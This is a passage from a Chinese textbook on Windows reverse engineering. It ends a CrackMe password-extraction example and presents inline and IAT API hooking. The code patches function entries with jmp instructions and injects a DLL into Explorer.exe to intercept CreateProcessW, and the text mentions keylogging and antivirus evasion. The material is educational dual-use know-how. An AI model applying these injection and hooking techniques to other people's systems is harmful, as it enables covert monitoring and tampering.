case EXCEPTION_BREAKPOINT:
 
{
 
}
 
break;
 
}
 
}
 
}
 
ContinueDebugEvent(de.dwProcessId,de.dwThreadId,DBG_CONTINUE);
 
}
 
只要把调试事件的处理方法放入到调试循环中，程序就完整了。接下来编译连接一下，然后把CrackMe直接拖放到这个密码显示程序上。程序会启动CrackMe进程，并等待我们的输入，当输入账号及密码后单击“确定”按钮，程序会显示出正确的密码和我们输入的密码，如图4-76所示。
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  图4-76 显示正确密码 

 
根据图4-76显示的结果进行验证，可见我们的获取是成功的。至此程序到此结束了。大家可以把该程序修改一下，把它改成通过附加调试进程来显示密码，以巩固我们的知识。
 

 
4.11 总结
 
本章学习了PE结构的基础部分，学习了OD的使用及调试API函数等。相信大家对PE&nbsp;结构解析、OD 调试工具使用及调试原理有了一定的了解。本章学习了一些基础的加解密知识，在以后学习了更多的相关知识后会发现，这些基础知识对我们学习加解密的知识是非常有必要的。希望大家多多掌握原理，多多动手实践。
第5章 HOOK编程
 
有一种技术被称作是HOOK技术，人们常叫钩子。谈到钩子很容易让人联想到是在钓东西，比如鱼钩就用于钓鱼。在编程中钩子技术在DOS时代就已经存在了，在Windows下，钩子按照实现技术的不同，其种类也越来越多，但是设置钩子的本质却是始终不变的。
 
钩子到底是做什么用的呢？钩子的应用范围非常广泛，比如输入监控、API 拦截、消息捕获等方面都在应用它。杀毒软件会用 HOOK 技术钩住一些 API 函数，比如钩住RegSetValueEx()函数，防止病毒对注册表进行写入；病毒使用HOOK技术有针对性地捕获键盘的输入从而进行记录。这些都是属于HOOK范畴的知识。本章将介绍与HOOK有关的知识。
 

 
5.1 HOOK知识前奏
 
在DOS时代进行编程，那时操作系统提供的编程接口不称为API函数，而称为中断服务向量。也就是说，当时的操作系统提供的编程接口只有中断，要进行写文件要调用系统中断，要进行读文件也要调用系统中断（当然，也不调用操作系统的中断直接调用更底层的中断）……中断服务向量类似于Windows下的API函数，中断服务向量在操作系统的某个地址保存着，它是以数组形式保存着的，我们也称其为中断向量表。DOS 时代的 HOOK 技术也就是修改中断向量表中的中断地址。比如，要捕获写操作，那么就修改中断向量表中关于写文件的地址，将写文件的中断地址保存好，然后替换为我们的地址，这样当程序调用写文件中断时，我们的函数就被执行了；当程序执行完可以继续调用原来的中断地址，从而完成写文件的操作。
 
在Windows下HOOK技术的方法比较多，使用比较灵活，常见的应用层的HOOK方法有Inline Hook、IAT HOOK、Windows钩子……HOOK 技术涉及到了DLL 相关的知识。因为HOOK其他进程的时候需要访问其他进程的地址空间，使用DLL是必然的。HOOK技术也涉及到了注入的知识，想要把完成HOOK功能的DLL加载到目标进程空间中就要使用注入的知识了。让我们来学习常用的HOOK技术吧。
 

 
5.2 内联钩子——Inline Hook
 

 
5.2.1 Inline Hook的原理
 
API函数都保存在操作系统提供的DLL文件中，当在程序中使用某个API函数时，在运行程序后，程序会隐式地将 API 所在的 DLL 加载入进程中。这样，程序就会像调用自己的函数一样调用API，大体过程如图5-1所示。
 
从图 5-1 中可以看出，在进程中当 EXE 模块调用 CreateFile()函数的时候，会去调用kernel32.dll模块中的CreateFile()函数，因为真正的CreateFile()函数的实现在kernel32.dll 模块中。
 
CreateFile()是API函数，API函数也是由人编写的代码再编译而成的，也有其对应的二进制代码。既然是代码，那么就可以被修改。通过一种“野蛮”的方法来直接修改API函数在内存中的映像，从而对API函数进行HOOK。使用的方法是，直接使用汇编指令的jmp指令将其代码执行流程改变，进而执行我们的代码，这样就使原来的函数的流程改变了。执行完我们的流程以后，可以选择性地执行原来的函数，也可以不继续执行原来的函数。
 
假设要对某进程的 kernel32.dll 的 CreateFile()函数进行 HOOK，首先需要在指定进程中的内存中找到 CreateFile()函数的地址，然后修改 CreateFile()函数的首地址的代码为 jmpMyProc 的指令。这样，当指定的进程调用 CreateFile()函数时，就会首先跳转到我们的函数当中去执行流程，这样就完成了我们的HOOK了。看一下它的流程图，如图5-2所示。
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  图5-1 调用API函数的大体过程 
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  图5-2 Inline Hook的流程 

 
由于这种方法是在程序流程中直接进行嵌入 jmp 指令来改变流程的，所以就把它叫做Inline Hook。
 

 
5.2.2 Inline Hook的实现
 
了解了大体的HOOK流程后，现在来学习它的具体实现。
 
我们的C程序被编译连接后为一个二进制文件，在二进制文件中，对于代码部分来说，都是 CPU 可以用来执行的机器码，机器码和汇编指令又是一一对应的。前面讲过了，Inline Hook是在程序中嵌入jmp汇编指令然后跳转到流程处继续执行的，jmp指令的用法是jmp 目的地址。jmp 在汇编语言中是一个无条件的跳转指令，jmp 后面跟随的参数是跳转的目的地址。用OD随便打开一个程序，并且修改它的某条指令为jmp指令。跳转的目的为一个任意地址，如图5-3和图5-4所示。
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  图5-3 准备修改00401600地址处的代码为jmp指令 

 

 [image: figure_0153_0140]

 

  图5-4 修改后的代码内容 

 
从图5-3和图5-4的对比可以看出，jmp指令占用了5个字节。原来从00401600到00401605处的机器码为55 8B EC 6A FF，当修改为jmp 12345678 后，现在的机器码为E9 73 40 F4 11。可以告诉大家，jmp 对应的机器码是E9（针对长转移来说的），后面的73 40 F4 11 是一个偏移量，这个偏移量是多少呢？这个偏移量是11F44073，请回忆一下前面提到过的字节顺序的问题。偏移量的计算公式如下：
 
JMP 后的偏移量 = 目标地址 – 原地址 - 5
 
这是一个非常重要的公式，当然对于我们的使用只要记住就可以了，这里的5是JMP的指令长度，也就是说JMPXXXXXXXX 这个指令的机器码长度为5 个字节。验证一下这个公式，目标地址是12345678，原地址为00401600，用12345678– 00401600–5 =11F44073，用计算器进行计算，如图5-5所示。
 
上面地址都是用十六进制进行计算的，大家计算时要注意这一点，以免计算错误。通过上面的例子可以看出来，修改时只需要修改5个字节就可以了。下面来梳理一下Inline Hook的流程吧。流程如下。
 
（1）构造跳转指令。
 
（2）在内存中找到欲HOOK函数地址，并保存欲HOOK位置处的前5个字节。
 
（3）将构造的跳转指令写入需HOOK的位置处。
 
（4）当被HOOK位置被执行时会转到我们的流程执行。
 
（5）如果要执行原来的流程，那么取消HOOK，也就是还原被修改的字节。
 
（6）执行原来的流程。
 
（7）继续HOOK住原来的位置。
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  图5-5 偏移量计算 

 
这就是Inline Hook 的大概的流程。
 
由于Inline Hook的实现代码比较简单，关键就是一个HOOK和一个取消HOOK的过程，因此可用C++封装一个Inline Hook 的类，在今后Inline Hook 编程中，可以始终使用这个封装好的类。
 
一般情况下封装类都有两个文件，一个是类的头文件；另一个是类的实现文件。在Windows 下，类名（Class Name）都是以“C”开头的，我们封装的是Inline Hook 类，因此类名是 CILHook。为了保持一致性，类的头文件和实现文件分别是 ILHook.h 文件和ILHook.cpp文件。先来看一下ILHook.h文件中的类定义部分。
 
#ifndef __ILHOOK_H__F47BF581_8D85_49ef_923D_895DCC9E4471_
 
#define __ILHOOK_H__F47BF581_8D85_49ef_923D_895DCC9E4471_
 
#include <Windows.h>
 
class CILHook
 
{
 
public:
 
CILHook();　// 构造
 
~CILHook();　// 析构
 
// HOOK函数
 
BOOL Hook(LPSTR pszModuleName, LPSTR pszFuncName, PROC pfnHookFunc);
 
// 取消HOOK函数
 
VOID UnHook();
 
// 重新进行HOOK函数
 
BOOL ReHook();
 
private:
 
PROC m_pfnOrig;// 函数地址
 
BYTE m_bOldBytes[5];　// 函数入口代码
 
BYTE m_bNewBytes[5];　// Inline代码
 
};
 
#endif
 
在C++中，类的定义使用关键字“class”。在类中定义有成员函数和成员变量，通常情况下把成员函数放在上面，把成员变量放在下面。因为对于拿到头文件的人来说，他首先关注的是类实现了哪些功能，因此应该让他第一眼就能看到实现了的成员函数，当然这不是必须的。
 
回到类定义，在类中除了构造函数和析构函数以外，还定义了 3 个成员函数，分别是Hook()、UnHook()和ReHook()函数。它们的功能分别是用来进行HOOK操作、取消HOOK操作和重新进行 HOOK 操作的。对于 3 个成员函数来说，这里只是一个定义，实现部分在ILHook.cpp中。
 
除了上面的3个成员函数外，还定义了3个成员变量，分别是m_pfnOrig、bOldBytes[5]和bNewBytes[5]。这3个函数的作用已经在定义中给出了注释，想必大家应该能明白，这里就不具体说了。接着看ILHook.cpp文件中的实现代码吧。
 
CILHook::CILHook()
 
{
 
// 对成员变量的初始化
 
m_pfnOrig = NULL;
 
ZeroMemory(m_bOldBytes, 5);
 
ZeroMemory(m_bNewBytes, 5);
 
}
 
CILHook::~CILHook()
 
{
 
// 取消HOOK
 
UnHook();
 
}
 
在构造函数中主要是完成对成员变量的初始化工作，在析构函数中主要是取消HOOK。构造函数在C++对象被创建时自动执行，同样析构函数是在C++对象被销毁时自动执行。
 
/*
 
函数名称：Hook
 
函数功能：对指定模块中的函数进行挂钩
 
参数说明：
 
pszModuleName:模块名称
 
pszFuncName: 函数名称
 
pfnHookFunc: 钩子函数
 
*/
 
BOOL CILHook::Hook(LPSTR pszModuleName, LPSTR pszFuncName, PROC pfnHookFunc)
 
{
 
BOOL bRet = FALSE;
 
// 获取指定模块中函数的地址
 
m_pfnOrig = (PROC)GetProcAddress(GetModuleHandle(pszModuleName), pszFuncName);
 
if ( m_pfnOrig != NULL )
 
{
 
// 保存该地址处5个字节的内容
 
DWORD dwNum = 0;
 
ReadProcessMemory(GetCurrentProcess(), m_pfnOrig, m_bOldBytes, 5, &dwNum);
 
// 构造JMP指令
 
m_bNewBytes[0] = '\xe9';　// jmp Opcode
 
// pfnHookFunc是HOOK后的目标地址
 
// m_pfnOrig是原来的地址
 
// 5是指令长度
 
*(DWORD *)(m_bNewBytes + 1) = (DWORD)pfnHookFunc - (DWORD)m_pfnOrig - 5;
 
// 将构造好的地址写入该地址处
 
WriteProcessMemory(GetCurrentProcess(), m_pfnOrig, m_bNewBytes, 5, &dwNum);
 
bRet = TRUE;
 
}
 
return bRet;
 
}
 
该函数是InlineHook类的重要函数，在Hook()成员函数中，我们完成了3项工作，首先是获得了被HOOK函数的函数地址；接下来是保存了函数的前5个字节；最后是用构造好的跳转指令来修改被HOOK函数的前5个字节的内容。
 
除了上面的函数外，还有两个函数，分别是取消挂钩和重新挂钩两个函数。这两个函数非常简单，就是完成修改内存属性、复制字节的工作。代码如下：
 
/*
 
函数名称：UnHook
 
函数功能：取消函数的挂钩
 
*/
 
VOID CILHook::UnHook()
 
{
 
if ( m_pfnOrig !=0 )
 
{
 
DWORD dwNum=0;
 
WriteProcessMemory(GetCurrentProcess(), m_pfnOrig, m_bOldBytes, 5, &dwNum);
 
}
 
}
 
/*
 
函数名称：ReHook
 
函数功能：重新对函数进行挂钩
 
*/
 
BOOL CILHook::ReHook()
 
{
 
BOOL bRet=FALSE;
 
if ( m_pfnOrig != 0 )
 
{
 
DWORD dwNum=0;
 
WriteProcessMemory(GetCurrentProcess(), m_pfnOrig, m_bNewBytes, 5, &dwNum);
 
bRet = TRUE;
 
}
 
return bRet;
 
}
 
上面两个成员函数就不进行介绍了，只要大家看懂了Hook()函数的实现，这两个函数的功能就肯定理解了。
 
整个 Inline Hook 的封装已经完成了，在后面的代码中，可以很容易地实现对函数的HOOK功能了。
 

 
5.2.3 HOOK MessageBoxA
 
本小节将完成一个HOOK本进程MessageBoxA()的程序，这个程序的目的是测试我们的类是否封装成功，以便完成今后的程序。在VC6下创建一个控制台程序，添加好封装过的库，然后键入下面的代码：
 
#include "ILHook.h"
 
// 创建一个全局的变量
 
CILHook MsgHook;
 
// 自定义的MessageBoxA函数
 
int
 
WINAPI
 
MyMessageBoxA(
 
HWND hWnd,
 
LPCSTR lpText,
 
LPCSTR lpCaption,
 
UINT uType)
 
{
 
// 恢复HOOK
 
MsgHook.UnHook();
 
MessageBox(hWnd, "Hook", lpCaption, uType);
 
MessageBox(hWnd, lpText, lpCaption, uType);
 
// 重新HOOK
 
MsgHook.ReHook();
 
return 0;
 
}
 
int main()
 
{
 
// 不进行HOOK的MessageBox
 
MessageBox(NULL, "test", "test", MB_OK);
 
// HOOK后的MessageBox
 
MsgHook.Hook("User32.dll", "MessageBoxA", (PROC)MyMessageBoxA);
 
MessageBox(NULL, "test", "test", MB_OK);
 
MsgHook.UnHook();
 
return 0;
 
}
 
在主函数中，调用了两次MessageBox()函数，两次弹出的文本内容是一样的。但是第二次调用 MessageBox()函数时，对 MessageBox()做了 HOOK，HOOK 的函数是我们自己写的MyMessageBoxA()函数。在 MyMessageBoxA()函数中首先恢复了对 MessageBox()函数的HOOK ，然后连续调用了两次 MessageBox()函数。那么，这个测试程序应该弹出 3 次MessageBox()对话框。大家将其编译连接一下，并运行，结果和我们想的完全一样，弹出了3次MessageBox()对话框。
 
这里介绍了关于本进程的 Inline Hook 的例子，接下来要介绍的是其他进程 Inline Hook的例子。由于每个进程的地址空间是隔离的，那么对于其他进程的 Inline Hook 是需要用到DLL 文件的。下面学一些如何使用DLL 文件来完成对其他进程的Inline Hook 的工作。
 

 
5.2.4 HOOK CreateProcessW
 
在这个例子中，我们先写一个DLL，然后通过DLL 来HOOK CreateProcessW()函数。在Windows 下，大部分的应用程序都是由Explorer.exe 进程来创建的。我们用“Process Explorer”这个工具来查看一下，如图5-6所示。
 
从图5-6中可以看出，大部分的应用程序都是由Explorer.exe这个进程创建的，那么只要把Explorer.exe进程的CreateProcessW()函数HOOK住，就可以针对要完成的工作做很多事情了，比如，可以记录哪个应用程序被启动了，也可以对应用程序进程进行拦截了。
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  图5-6 “Process Explorer”查看应用程序的父进程 

 
我们的例子就是通过 HOOK CreateProcessW()函数来显示一下被创建的进程的进程名。还是使用前面给出的ILHook类来进行HOOK工作。代码如下：
 
#include "ILHook.h"
 
CILHook CreateProcessHook;
 
// 实现的Hook函数
 
BOOL
 
WINAPI
 
MyCreateProcessW(
 
LPCWSTR lpApplicationName,
 
LPWSTR lpCommandLine,
 
LPSECURITY_ATTRIBUTES lpProcessAttributes,
 
LPSECURITY_ATTRIBUTES lpThreadAttributes,
 
BOOL bInheritHandles,
 
DWORD dwCreationFlags,
 
LPVOID lpEnvironment,
 
LPCWSTR lpCurrentDirectory,
 
LPSTARTUPINFOW lpStartupInfo,
 
LPPROCESS_INFORMATION lpProcessInformation
 
)
 
{
 
BOOL bRet = FALSE;
 
CreateProcessHook.UnHook();
 
// 弹出被创建进程的进程名
 
MessageBoxW(NULL, lpApplicationName, lpCommandLine, MB_OK);
 
// 创建进程
 
bRet = CreateProcessW(lpApplicationName,
 
lpCommandLine,
 
lpProcessAttributes,
 
lpThreadAttributes,
 
bInheritHandles,
 
dwCreationFlags,
 
lpEnvironment,
 
lpCurrentDirectory,
 
lpStartupInfo,
 
lpProcessInformation);
 
CreateProcessHook.ReHook();
 
return bRet;
 
}
 
BOOL APIENTRY DllMain( HANDLE hModule,
 
DWORD　ul_reason_for_call,
 
LPVOID lpReserved
 
)
 
{
 
switch ( ul_reason_for_call )
 
{
 
case DLL_PROCESS_ATTACH:
 
{
 
// Hook CreateProcessW()函数
 
CreateProcessHook.Hook("kernel32.dll",
 
"CreateProcessW",
 
(PROC)MyCreateProcessW);
 
break;
 
}
 
case DLL_PROCESS_DETACH:
 
{
 
CreateProcessHook.UnHook();
 
break;
 
}
 
}
 
return TRUE;
 
}
 
代码不是很长，Hook 功能是由前面封装过的类来完成的，只要去使用封装好的类进行HOOK，并定义一个 HOOK 函数就可以了。将这段代码编译连接，然后用第 3 章中编写的DLL注入工具将这个DLL文件注入到Explorer.exe中，如图5-7所示。
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  图5-7 用DLL注入工具注入HOOKDLL 

 
将这个DLL注入到Explorer.exe进程后，运行一下IE浏览器，会弹出一个对话框，如图5-8所示。
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  图5-8 对话框标题栏上显示了被创建的进程名 

 
单击“确定”按钮后，IE浏览器就被打开了。再打开记事本、画图、计算器等程序，都成功地显示出了其进程名及进程的路径。
 
把这个程序修改一下，让它可以拦截进程的创建，这样来达到对创建应用程序的管控。修改的方法很简单，在弹出对话框以后，对话框上有两个按钮，分别选择一下相应的按钮就可以了。修改后的代码如下：
 
// 实现的Hook 函数
 
BOOL
 
WINAPI
 
MyCreateProcessW(
 
LPCWSTR lpApplicationName,
 
LPWSTR lpCommandLine,
 
LPSECURITY_ATTRIBUTES lpProcessAttributes,
 
LPSECURITY_ATTRIBUTES lpThreadAttributes,
 
BOOL bInheritHandles,
 
DWORD dwCreationFlags,
 
LPVOID lpEnvironment,
 
LPCWSTR lpCurrentDirectory,
 
LPSTARTUPINFOW lpStartupInfo,
 
LPPROCESS_INFORMATION lpProcessInformation
 
)
 
{
 
BOOL bRet=FALSE;
 
if ( MessageBoxW(NULL, lpApplicationName, lpCommandLine, MB_YESNO) == IDYES )
 
{
 
CreateProcessHook.UnHook();
 
bRet = CreateProcessW(lpApplicationName,
 
lpCommandLine,
 
lpProcessAttributes,
 
lpThreadAttributes,
 
bInheritHandles,
 
dwCreationFlags,
 
lpEnvironment,
 
lpCurrentDirectory,
 
lpStartupInfo,
 
lpProcessInformation);
 
CreateProcessHook.ReHook();
 
}
 
else
 
{
 
MessageBox(NULL,"您启动的程序被拦截","提示", MB_OK);
 
}
 
return bRet;
 
}
 
编译连接一下这个程序，提示连接错误。原因是刚才编译连接的DLL文件正在被使用，所以无法对其修改。用DLL注入工具将刚才的DLL进行卸载，然后再次编译连接，这次就通过了。把这个DLL文件注入到Explorer.exe进程中，然后启动IE浏览器，如图5-9所示。
 
单击“是”按钮，那么IE浏览器被创建。如果单击“否”按钮，那么会提示“您启动的程序被拦截”，并且IE浏览器没有被打开。单击“否”按钮看一下效果，如图5-10所示。
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  图5-9 是否创建进程的提示框 
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  图5-10 进程创建被拦截的提示 

 
提示框出现了，单击“确定”按钮以后，IE浏览器没有被打开。再对记事本、计算器、画图等程序进行测试。测试的结果都和IE浏览器的结果是一样的，那么说明对应用程序创建的拦截功能已经成功了。
 

 
5.2.5 7字节Inline Hook
 
做Inline Hook 的时候是通过构造一个jmp 指令来修改目标函数入口的。在构造jmp 指令时唯一比较不好理解的可能是计算jmp指令后面的偏移量，这是由于CPU机器码要求的。既然是修改目标函数入口指令，可以多修改几条指令，从而达到不计算jmp指令的跳转偏移量。
 
完成的指令为两条，一条是把目标地址保存入寄存器eax中，然后直接跳转到寄存器eax中保存的地址处。代码如下：
 
mov eax, 12345678
 
jmp eax
 
用OD随便打开一个程序，然后修改其入口代码为上述代码，然后提取其机器码，如图5-11所示。
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  图5-11 修改入口代码 

 
从图5-11 中可以看出mov eax, 12345678 对应的机器码为B8 78 56 34 12，也就是说B8是mov 指令的机器码。再看一下jmp eax，其对应的机器码为FF E0。将其定义为一个字节数组为：
 
Byte bJmpCode[] ={‘\xb8’, ‘\0’, ‘\0’, ‘\0’, ‘\0’, ‘\xFF’, ‘\xE0’};
 
这样定义以后，只要把目标函数的地址保存在从第一个到第四个字节的位置就可以了（下标是从0开始的）。通过这种方法，就不用再计算jmp要跳转的位置对应的偏移地址了。这也是一种进行Inline Hook 的方法，不过同样都是修改目标函数的入口。
 

 
5.2.6 Inline Hook的注意事项
 
在写 Hook 函数时一定要注意函数的调用约定，函数的调用约定决定了函数调用后负责平衡栈的一个约定，如果在调用函数后栈不恢复到调用前的样子的话，那么程序后续的部分一定会报错。也许程序短可能会不报错，但是千万不要有这样侥幸的心里。
 
下面用Hook本进程的例子做一个简单的修改，来演示一下调用。
 
Hook的是MessageBoxA()函数，该函数有4个参数，我们定义的函数也一定要是4个参数。MessageBoxA()函数的调用约定是__stdcall，那么定义函数时也要使用__stdcall。定义时使用的是WINAPI，这是一个宏，该宏的定义如下：
 
#define WINAPI　__stdcall
 
在MSDN中看一下MessageBox()的函数定义，该函数的定义如下：
 
int MessageBox(
 
HWND hWnd,　　　// handle to owner window
 
LPCTSTR lpText,　// text in message box
 
LPCTSTR lpCaption,　// message box title
 
UINT uType　　　// message box style
 
);
 
在MSDN中，并没有看到对MessageBox()函数有关于调用约定方面的修饰。在WinUser.h中看一下关于MessageBoxA()函数的定义，该定义如下：
 
WINUSERAPI
 
int
 
WINAPI
 
MessageBoxA(
 
__in_opt HWND hWnd,
 
__in_opt LPCSTR lpText,
 
__in_opt LPCSTR lpCaption,
 
__in UINT uType);
 
在WinUser.h这个头文件中可以看到，在定义中使用了WINAPI这个函数调用约定的修饰。现在来修改一下代码，修改的代码如下：
 
int
 
/*WINAPI*/
 
MyMessageBoxA(
 
HWND hWnd,
 
LPCSTR lpText,
 
LPCSTR lpCaption,
 
UINT uType)
 
{
 
//恢复HOOK
 
MsgHook.UnHook();
 
MessageBox(hWnd, "Hook", lpCaption, uType);
 
MessageBox(hWnd, lpText, lpCaption, uType);
 
// 重新HOOK
 
MsgHook.ReHook();
 
return 0;
 
}
 
从代码中可以看到，这里把WINAPI函数调用约定的宏注释掉了。将程序进行编译连接，并运行。运行后，看到了 MessageBox()的对话框，但是最后却出现了报错，如图 5-12 和图5-13所示。
 

 [image: figure_0162_0148]

 

  图5-12 错误对话框 
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  图5-13 错误对话框 

 
在出现图5-12后，单击“忽略”按钮，会弹出如图5-13所示的错误提示。从图5-13中可以看到一个提示“File:i386\chkesp.c”。看到这个提示以后首先要知道，这个提示告诉我们是Debug版本在检查栈平衡时报的错误。虽然这个代码是系统的代码，不是自己写的代码，但是在系统检查栈时报错，多半是由于代码破坏了栈的平衡。因此，要检查我们的代码。
 
出现这个错误时，其实我们是知道错误原因的，是因为我们把WINAPI这个函数调用约定的修饰去掉了。因此，的确是要检查我们的代码。但是应该从哪里开始着手呢？修改了调用约定以后，栈会不平衡。使用__stdcall是在被调用函数内进行平栈，而VC默认的调用约定是__cdcel，而此种调用约定是由调用方进行平栈。那么，我们就要手动进行平栈了。
 
MessageBoxA()函数有 4 个参数，每个参数占用 4 个字节，那么我们自己在函数中进行平栈，只要在返回时调用ret 0x10 就可以了。修改的代码如下：
 
int
 
/*WINAPI*/
 
MyMessageBoxA(
 
HWND hWnd,
 
LPCSTR lpText,
 
LPCSTR lpCaption,
 
UINT uType)
 
{
 
// 恢复HOOK
 
MsgHook.UnHook();
 
MessageBox(hWnd, "Hook", lpCaption, uType);
 
MessageBox(hWnd, lpText, lpCaption, uType);
 
// 重新HOOK
 
MsgHook.ReHook();
 
__asm
 
{
 
ret 0x10
 
}
 
}
 
编译连接，并运行，仍然提示有错误。看来，要进行更进一步的调试了。在MsgHook.UnHook()位置处按F9键设置断点，如图5-14所示。
 
按F5键执行代码，运行到断点处。单击工具栏上的反汇编按钮，如图5-15所示。
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  图5-14 在MsgHook.UnHook()位置处设置断点 
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  图5-15 反汇编按钮 

 
单击了反汇编按钮以后，将代码窗口往上移动，到函数的定义处，如图5-16所示。
 
通过反汇编看到有几条修改栈的操作，分别是push ebp、sub esp,40h、push ebx、push esi、push edi 这5条代码。根据这5 条代码来修改我们的代码以保证栈的平衡。按F7 键停止调试状态的程序，并修改代码，修改后的代码如下：
 
int
 
/*WINAPI*/
 
MyMessageBoxA(
 
HWND hWnd,
 
LPCSTR lpText,
 
LPCSTR lpCaption,
 
UINT uType)
 
{
 
//恢复HOOK
 
MsgHook.UnHook();
 
MessageBox(hWnd, "Hook", lpCaption, uType);
 
MessageBox(hWnd, lpText, lpCaption, uType);
 
// 重新HOOK
 
MsgHook.ReHook();
 
__asm
 
{
 
pop edi
 
pop esi
 
pop ebx
 
add esp, 0x40
 
pop ebp
 
ret 0x10
 
}
 
}
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  图5-16 函数定义处的代码 

 
将该代码编译连接并运行，这次运行正常了。
 
以上演示了一次如何手动平衡栈的过程，是不是很麻烦？其实对汇编熟悉的话就不麻烦了。不过个人觉得即使不麻烦，还是要按照原函数的函数定义来定义HOOK函数，以避免不必要的麻烦。在学习的过程中，为了深入地学习和掌握知识，手动平衡栈是可以的。但是在实际编程的过程中，仍然使用手动进行栈的平衡，那就成了钻牛角尖了。
 
本节介绍了Inline HOOK的原理，并通过两个例子学习了Inline Hook 的用法。一个例子是对本进程的HOOK，另一个例子是对其他进程的HOOK。在对其他进程的HOOK中，演示了如何 HOOK CreateProcessW()函数，并且从中学习了如何拦截应用程序进程被创建的过程，又强调了对函数栈平衡的重要性。再接下来的 HOOK 学习中，我们将要学习的是 IATHOOK。
 

 
5.3 导入地址表钩子——IAT HOOK
 
导入地址表是PE文件结构中的一个表结构，在学习PE文件结构的时候虽然没有提到导入地址表，但是提到了数据目录。数据目录在 IMAGE_OPTIONAL_HEADER 中的DataDirectory中，我们回忆一下它的定义：
 
typedef struct _IMAGE_OPTIONAL_HEADER {
 
//
 
// Standard fields.
 
//
 
……
 
//
 
// NT additional fields.
 
//
 
……
 
DWORD　NumberOfRvaAndSizes;
 
IMAGE_DATA_DIRECTORY
 
DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
 
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;
 
（1）NumberOfRvaAndSizes：该字段表示数据目录的个数，该个数的定义为 16。如下：
 
#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES　16
 
（2）DataDirectory：数据目录表，由NumberOfRvaAndSize个 IMAGE_DATA_DIRECTORY结构体组成。该数组中包含了输入表、输出表、资源等数据的 RVA。IMAGE_DATA_DIRECTORY的定义如下：
 
typedef struct _IMAGE_DATA_DIRECTORY {
 
DWORD　VirtualAddress;
 
DWORD　Size;
 
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
 
该结构体的第一个变量为该目录的相对虚拟地址的起始值，第二个是该目录的长度。
 

 
5.3.1 导入表简介
 
在可执行文件中使用其他DLL可执行文件的代码或数据时称为导入，或者称为输入。当PE文件被加载时，Windows加载器会定位所有的导入的函数或数据。这个定位是需要借助于导入表来完成的。导入表中存放了使用的DLL的模块名称，及导入的函数。
 
在加壳与脱壳的研究中，导入表是非常关键的部分。加壳要尽可能地隐藏导入表，脱壳一定要找到导入表。如果无法还原或修复脱壳后的导入表的话，那么可执行文件仍然是无法运行的。
 
在免杀中也有与导入表相关的内容，比如移动导入表函数、修改导入表描述信息、隐藏导入表……不过这些操作都是杀毒软件将特征码定位到了导入表上才需要这样做，不过可以看出导入表也同样受到杀毒软件的“关注”。
 
既然导入表这么重要，我们先来学习一下关于导入表的知识吧。
 

 
5.3.2 导入表的数据结构定义
 
在数据目录中定位第二个目录，即 IMAGE_DIRECTORY_ENTRY_IMPORT。该结构体中保存了导入函数的重要信息，每个DLL都对应一个IMAGE_IMPORT_DESCRIPTOR结构，也就是说导入的 DLL 文件与 IMAGE_IMPORT_DESCRIPTOR 是一对一的关系。IMAGE_IMPORT_DESCRIPTOR在文件中是一个数组，但是文件中并没有明确地指出导入表的个数，在导入表中是一个以全“0”的IMAGE_IMPORT_DESCRIPTOR为结束的。导入表对应的结构体定义如下：
 
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
 
union {
 
DWORD　Characteristics;
 
DWORD　OriginalFirstThunk;
 
};
 
DWORD　TimeDateStamp;
 
DWORD　ForwarderChain;
 
DWORD　Name;
 
DWORD　FirstThunk;
 
} IMAGE_IMPORT_DESCRIPTOR;
 
（1）OriginalFirstThunk：该字段指向导入名称表的RVA，该表是一个 IMAGE_THUNK_DATA的结构体数组。
 
（2）TimeDataStamp：该字段可以被忽略。
 
（3）ForwarderChain：该字段一般为 0。
 
（4）Name：该字段为DLL名称的指针，该指针也为一个RVA。
 
（5）FirstThunk：该字段包含了导入地址表（IAT）的RVA，IAT是一个 IMAGE_THUNK_DATA的结构体数组。
 
IMAGE_THUNK_DATA结构体的定义如下：
 
typedef struct _IMAGE_THUNK_DATA32 {
 
union {
 
PBYTE　ForwarderString;
 
PDWORD Function;
 
DWORD Ordinal;
 
PIMAGE_IMPORT_BY_NAME　AddressOfData;
 
} u1;
 
} IMAGE_THUNK_DATA32;
 
该结构体的成员是一个联合体，虽然联合体中有若干个变量，但由于该结构体中包含的是一个联合体，那么这个结构体也就相当于只有一个成员变量，只是有时代表的意义不同。
 
看其本质，该结构体实际上是一个DWORD类型。当 IMAGE_THUNK_DATA值的最高位为1时，表示函数以序号方式导入，而这时第 31位被看作是一个导入序号。当其最高位为 0时，表示函数以函数名字符串的方式导入，这时 DWORD 的值表示一个 RVA，并指向一个IMAGE_IMPORT_BY_NAME结构。
 
IMAGE_IMPORT_BY_NAME结构体的定义如下：
 
typedef struct _IMAGE_IMPORT_BY_NAME {
 
WORD　Hint;
 
BYTE　Name[1];
 
} IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;
 
（1）Hint：该字段表示该函数在其DLL中的导出表中的序号。
 
（2）Name：该字段表示导入函数的函数名，导入函数是一个以ASCII编码的字符串，并以NULL来结尾。在 IMAGE_IMPORT_BY_NAME中使用Name[1]来定义该字段，表示这是只有 1 个长度大小的字符串。通过越界访问，来达到访问变长字符串的功能。IMAGE_THUNK_DATA与 IMAGE_IMPORT_DESCRIPTOR类似，同样是以一个全“0”的IMAGE_THUNK_DATA为结束的。
 

 
5.3.3 手动分析导入表
 
在学习 PE 文件结构时就借助十六进制编辑器完成了我们的学习，现在仍然通过十六进制编辑器来学习导入表的结构体IMAGE_IMPORT_DESCRIPTOR。在这里随便找个PE（EXE格式）文件来进行分析，大家可以找一个PE文件来进行分析。
 
用C32ASM打开找来的PE文件，首先定位到数据目录的第二项，如图5-17所示。
 
在图5-17中看到了数据目录中的第二项的内容，其值分别是0x00024000和0x0000003C。0x00024000的值表示IMAGE_IMPORT_DESCRIPTOR的RVA，注意这里给出的是RVA。现在使用十六进制编辑器打开，那么就要通过 RVA 转换为 FileOffset，也就是从相对虚拟地址转换为文件偏移地址。使用LordPE来进行转换，如图5-18所示。
 

 [image: figure_0167_0153]

 

  图5-17 IMAGE_IMPORT_DESCRIPTOR的RVA及大小 

 
从图5-18中可以看出，0x00024000这个RVA对应的FileOffset为0x00023000。那么在C32 中转移到0x00023000 的位置处，按下Ctrl+ G组合键，在弹出的对话框中填入“23000”，如图5-19所示。
 

 [image: figure_0167_0154]

 

  图5-18 计算IMAGE_IMPORT_DESCRIPTOR的FileOffset 

 

